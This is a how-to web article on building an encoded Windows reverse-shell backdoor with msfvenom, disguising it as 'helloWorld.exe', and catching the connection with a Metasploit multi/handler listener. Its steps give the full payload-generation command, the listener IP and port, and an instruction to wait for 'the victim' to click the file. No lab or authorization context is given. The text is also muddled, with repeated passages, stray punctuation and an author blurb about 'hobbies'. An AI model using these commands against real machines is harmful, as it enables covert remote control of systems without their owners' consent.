How to Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux

Start up Kali and fire up the Terminal console. , Type ifconfig to display the interface and check your IP address. , Type msfvenom -l encoders to show the list of encoders., Type "msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp...

12 Steps 1 min read Medium

Step-by-Step Guide

  1. Step 1: Start up Kali and fire up the Terminal console.

    You will use x86/shikata_ga_nai as the encoder. ,
    -p windows/shell/reverse_tcp designates the payloads to embed.

    LHOST designates the listener IP address.

    LPORT designates the listener port.
    -b "\x00" designates to avoid bad character (null bytes).
    -e x86/shikata_ga_nai designates the encoders name.
    -f exe > helloWorld.exe designates format output. , Now you have generated your backdoor.

    When the victim clicks on helloWorld.exe, the shell payload that is embedded will be activated and make a connection back to your system.

    In order to receive the connection, you have to open the multi-handler in Metasploit and set the payloads. ,,,, "LHOST" designates the listener IP address. , "LPORT" designates the listener port. ,, Then you will be successfully connected to the victim's machine.
  2. Step 2: Type ifconfig to display the interface and check your IP address.

  3. Step 3: Type msfvenom -l encoders to show the list of encoders.

  4. Step 4: Type "msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST = 192.168.48.129 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f exe > helloWorld.exe -a x86 --platform windows designates architecture to use.

  5. Step 5: Type msfconsole to activate the Metasploit.

  6. Step 6: Type use exploit/multi/handler.

  7. Step 7: Type set payload windows/shell/reverse_tcp.

  8. Step 8: Type show options to check the module.

  9. Step 9: Type set LHOST 192.168.48.129.

  10. Step 10: Type set LPORT 4444.

  11. Step 11: Type run and wait for the connection from victim's machine.

  12. Step 12: Wait for the victim to click on hellloWorld.exe.

Detailed Guide

You will use x86/shikata_ga_nai as the encoder. ,
-p windows/shell/reverse_tcp designates the payloads to embed.

LHOST designates the listener IP address.

LPORT designates the listener port.
-b "\x00" designates to avoid bad character (null bytes).
-e x86/shikata_ga_nai designates the encoders name.
-f exe > helloWorld.exe designates format output. , Now you have generated your backdoor.

When the victim clicks on helloWorld.exe, the shell payload that is embedded will be activated and make a connection back to your system.

In order to receive the connection, you have to open the multi-handler in Metasploit and set the payloads. ,,,, "LHOST" designates the listener IP address. , "LPORT" designates the listener port. ,, Then you will be successfully connected to the victim's machine.

About the Author

P

Peter Stewart

Specializes in breaking down complex hobbies topics into simple steps.

60 articles
View all articles

Rate This Guide

--
Loading...
5
0
4
0
3
0
2
0
1
0

How helpful was this guide? Click to rate: